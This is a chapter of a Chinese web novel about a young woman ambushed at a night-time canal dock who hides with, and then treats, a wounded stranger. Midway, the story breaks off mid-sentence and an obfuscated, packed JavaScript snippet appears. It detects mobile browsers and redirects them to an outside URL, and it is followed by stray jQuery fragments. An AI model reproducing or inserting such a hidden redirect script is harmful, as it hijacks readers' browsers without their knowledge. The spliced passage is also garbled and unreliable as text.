2. 遇险

作品:《论如何靠花钱当上世子妃

    果然不出所料,到漕运码头后天也才刚刚擦黑。


    谢泱让茯苓呆在马车里看着,而半夏则跟着她下马车。


    傍晚的码头广场不再有白天的繁忙,多数漕船已落帆下锚,尚未卸完的货物堆在岸边,暮色中像是黑黝黝的山峦,还有成箱成箱的的货箱整齐的码在广场正中央漕仓内,漕仓与漕仓鳞次栉比,组成一个庞大的迷宫。


    日头尚未落下,码头上却不怎么见人,连零星漕工都没有。


    “这可怪了,怎么连个人都不见。”半夏紧跟在谢泱后面,有些不解。


    谢泱正心生疑窦,她环顾四周,却见漕岸旁的班房里坐着一家丁模样的人,见了谢泱便远远跑过来。


    等那家丁近前来,谢泱才看清此人样子,着一身短褂,皮肤黝黑,身材结实,面相是一副老实人样子。


    “大小姐,叶掌柜特命小人在此等候。”


    那壮丁倒是有些不好意思看向谢泱,说罢把腰间令牌摘下来,用袖子擦了擦才递给谢泱。


    谢泱接过来一看,确实是叶三的令牌。


    “我们的货放哪了,不是说叶掌柜派了人来盯着吗,怎么不见人?”谢泱盯着这壮丁,心里觉得有什么不对,但又找不出到底是哪里不对。


    “回大小姐,漕司把我们的货放在了西北侧,说是方便检查,最近凡是涉及药材的货都敏感,故不和寻常货物放一起,我们的人也都在那边,我带小姐过去吧。”那壮丁解释道。


    谢泱琢磨着这人的话,叫这人带路。


    “对了,这位姑娘要不要去班房喝盏茶,歇歇脚?”那壮丁望向谢泱身后的半夏。


    半夏摇摇头,谢泱则打断这人的话:“不必麻烦,直接带路吧。”


    那人讪讪一笑,转身在前面低头带路,背向谢泱的那一刻眼里闪过一丝不易察觉的狠戾。


    谢泱带着半夏跟在那壮丁的后头,此时暮色尽褪,码头逐渐被黑暗笼罩,倒是有些瘆人。


    在穿过一堆迷宫般的货仓后,那壮丁将谢泱带到了一处其中一座货仓前,低头向谢泱说:“小姐,此处放的便是灵丹阁的货了,小的现在就给您开仓。”


    那壮丁转身从胸口处掏了掏,低头开仓门。


    谢泱盯着那人的背影,越想越不对,她仔细回想从到码头到现在的所有可疑之处——


    为何明明尚早码头却空无一人?


    上面要查禁药为何要把所有药货放在西北侧?明明稽查货物的榷关在东侧,放那显然更方便。


    叶三安排盯货的人为何不见?


    这壮丁为何刚刚要支走半夏?


    还有——谢泱猛地抬头,这人开个仓门怎么开了这么久,他刚刚从胸前掏出来的是钥匙还是何物?


    这样说来,只有一种可能——这人有问题,这个码头都有问题!糟了!


    “半夏我们跑——”


    谢泱拉起半夏转身就跑的瞬间,半夏的惊呼也在她耳边响起:“姑娘小心——”


    谢泱下意识回头,只见寒光一闪,刚刚那老实的壮丁转眼换了一副可怖的面容,原本掏出来的钥匙不知何时变成了一把短刃,猛地向谢泱脖颈上刺。


    谢泱反应过来,向旁一闪,堪堪躲开那人的刀锋。


    那歹徒见没刺中,手腕一转又刺向护着谢泱的半夏。


    半夏会些拳脚功夫,刀还没到眼前便已经用双手死死钳住那人拿刀的手。


    谢泱见状抬脚狠狠往那歹徒的下身踹去,那人被下身的刺痛弄得失神,就在这一瞬半夏将刀夺过来,反刺向那人的喉咙——


    那人随之倒地,气息尽绝。


    主仆两人一口气还未松,忽的数道比夜色更浓的黑影,毫无征兆地从货堆后面腾空而出,直奔她而来。


    不是吧,她招谁惹谁了,弄这么大阵仗刺杀她!


    谢泱心中哀嚎,逃命的脚步却没停下,她拉着半夏便向层层叠叠的货仓跑去。


    面临分叉口,她给半夏一个眼神,示意两人分头逃跑,旋即就往那迷宫般的漕仓里疾跑。


    跑着跑着,她突然发现刚刚那些黑影并没有紧追她而来,兵刃交击的刺耳声停在了她和半夏分开的那个地方,脚下码头特有的木板传来的震动昭示着那边打斗的激烈,浓烈的血腥气顺着夜风弥漫开来。


    谢泱松了一口气,不是冲着她来的就好,不过还是赶紧得离开这鬼地方。


    就在她转身想往反方向寻出口离开时,脚下不知被什么东西一绊,整个人向前扑去——


    预期的疼痛并未到来,相反,她撞进了一个带着凉意的坚硬胸膛。


    一股浓烈的、带着铁锈般血腥气的味道瞬间将她包围,她被这变故吓了一大跳,刚下意识想要尖叫,一双寒凉的双手便如铁钳般死死捂住了她的嘴,所有声音被堵死在喉咙里,只剩下惊恐的呜咽。


    “放开我——呜——”谢泱挣扎着,却怎么也挣不脱。


    “想活命,就闭嘴。”男人冷冰冰的警告从谢泱耳边传来,说完便箍着她的腰闪身进了两个漕仓中间的窄缝里。


    漕仓窄缝内,正正好好能容两人侧身,但也没有任何多余空间。


    真是见鬼了,谢泱心里暗骂。


    自己为何会沦落到和一个陌生男子以这种极其诡异的面对面相拥的姿势僵持在这里。


    最初的惊恐如潮水般褪去,谢泱僵在他怀里,一动不敢动。刚刚激烈的打斗声似乎变小了些,她能感觉到捂住她嘴的手,力道稍微松了一点,似乎是在试探她是否会配合。


    谢泱艰难地,极其缓慢地,将头往后转,想对那男人眨眼示意自己没有恶意。


    就在这个瞬间,或许是为了确认,或许是月光刚好偏移——男人也略微偏过头,看向这个个头矮自己一大截的小姑娘。


    两人的目光在咫尺间的黑暗中陡然相碰。


    谢泱看见一双眼睛,一双好看的桃花眼,月光投在他的睫毛上,留下一片阴影。眼睛之上,男人剑眉斜飞入鬓,金雕玉琢般的英气与力度浑然天成,天生带着三分寒气。


    这么好看的男人来干这种勾当真是可惜了,应该去龙阳轩的——龙阳轩是凤阳有名的伶倌馆。


    那双眼在暗处亮的惊人,没有慌乱,只有一片深不见底的漆黑和锐利。


    他也在看她,看清了她眼中强压下的恐惧,以及恐惧之下,那点清亮的、未曾出声的理智,甚至还有一点......揶揄?


    奇怪的女子。


    男人身上清冽又混杂着血腥味的气息,和谢泱身上散发的淡淡药香,诡异又亲密地交融在一起。


    对了,血腥味?


    谢泱试图找出这血腥味的来源,微微一瞥头便瞧见了男人的左手指尖在一滴一滴地流血,看来手臂处伤的很深,只不过被玄色束袖遮着,夜色中看不大清楚。


    看来,刚才那群人是冲着这人来的,她简直是无妄之灾!


    这男人受了伤,眼下又躲在这里,算是和她同病相怜了——她也是被人追杀才被迫逃来这里的。


    也不知道半夏这丫头怎么样了,不行,她还是要尽快出去。


    谢泱忽然计上心来,


    “我们做个交易吧。”


    男人看见面前紧贴着自己的姑娘,用她那双狐狸眼狡黠地看向自己,还不等开口,那姑娘接着自己的话头继续说道:


    “外面那些人目标是你吧,我无意卷入你们的纷争,我看你唇色苍白,想必是伤的严重,我随身带了金创药,我把药给你,你放我走,怎么样?”


    男人似乎是被谢泱的话逗笑了,唇角无声勾起一抹极淡的弧度,只是那幽深的眸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129133|196167||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子依旧平静无波,垂眸看着她:“就算你不是他们的目标,你觉得,那些人就会让你活着出去吗?”


    男人的话语慵懒又带点调侃,倒是一点都不着急,仿佛外面的追杀与他无关。


    血都要流干了,还在这里装——谢泱腹诽,却不敢真的这么说。


    毕竟人在屋檐下不得不低头,她忍!犹豫了一阵,谢泱像是下定了某种决心——


    “求——你——了,我偷偷从反方向走,不会暴露你的。”


    谢泱放软声音,吐出的字带着勾人的小尾音,艳丽的眼眸中带点可怜的祈求,浓密的睫毛像把小扇子一样,直要扇到人心里去。


    既然智取没用,那就用用美人计?她知道自己生的好看,比起逃命,面子算什么,她不吃亏。


    谢泱眼皮都扇累了,也没见这男人眼中有一丝的动容。


    好尴尬。


    失望占据了谢泱的心头,不过她有点分不清,这失望究竟是因为她目前出不去,还是因为她生平第一次使用美人计就失败得如此惨烈。


    谢泱低下头去,依旧试图劝动这人:“俗话说,冤家宜解不宜结,你放我出去,也算是善——”


    “缘”字还未说出口,谢泱身上徒然一重,这男人竟然将身体全部重量压了上来:“你——”


    谢泱突然反应过来,她抬起头,晃了晃男子的身体,只见那刚刚还明亮的桃花眼此时已将阖上,嘴唇也几乎没有了血色。


    糟糕,这人不会死了吧?


    谢泱内心有一阵慌乱,但很快她便镇静下来,她踮起脚,脸靠向男子的鼻子,还有呼吸!


    内心松了一口气,因为还踮着脚,谢泱一时重心向前,脸颊不小心贴上了男子的薄唇后又迅速分开。


    虽然眼前的男子已陷入昏迷,但谢泱还是觉着刚刚碰过男子嘴唇的那块脸颊火辣辣的,她看向男子苍白却仍旧精致的脸,有些心虚地嘟囔:“登徒子!”


    冷静下来后,她凝神听了听,那边还在打,这是她逃走的好机会。


    谢泱勉强将面前压过来的男人向后推,让他靠在另一侧漕仓上,自己便顺着挤出来的空隙出去。


    两个漕仓之间的窄缝说到底还是能容纳两个人,刚刚因为这人钳制住谢泱,她脱身不得,但男人晕过去后,谢泱很容易就出来了。


    谢泱呼吸了一口新鲜的空气,又侧耳听了听,那边动静小了下去,谢泱左右环顾了一下,凭着记忆确定了她来时的方向,正欲离开。


    可还没走两步,谢泱就听到身后一声微弱的物体滑落的声音。


    她回头,发现原来是那人靠不住漕仓壁,顺着滑了下去。


    男人无声靠在那处窄缝,头垂靠一侧,左手指尖的血一滴一滴落下。


    谢泱看着他的侧脸。


    这和她有什么关系呢?如果不是他,自己说不定早就出去了,这对她本就是无妄之灾,还是赶紧走吧。


    谢泱在心里这样告诉自己,于是她头也不回地离开了。


    ——


    可片刻后,谢泱还是折了回来。


    她轻叹一口气,低头看着那青年男子:“救人一命胜造七级浮屠,谁让我家祖传就是干这个的呢?”


    她蹲在男人身旁,先探了探他的呼吸,因失血过多,他的呼吸不算平稳,但应该不至于丢了性命。


    谢泱又伸手检查起男人受伤的左手,她解开他的衣袖,露出精壮的手臂,一道骇人的伤口映入眼帘,谢泱当即扯下自己袖口内衬的一段布,又解下腰上挂着的药瓶,麻利地撒药包扎。


    弄完以后,谢泱看着男子苍白的脸色,仍觉得有些不妥,于是又从衣袖内袋里掏出一瓶药丸,倒了两粒准备往男人嘴里塞。


    可手还没碰到嘴边,那人便像有感应一般,抬手将谢泱的手抓住。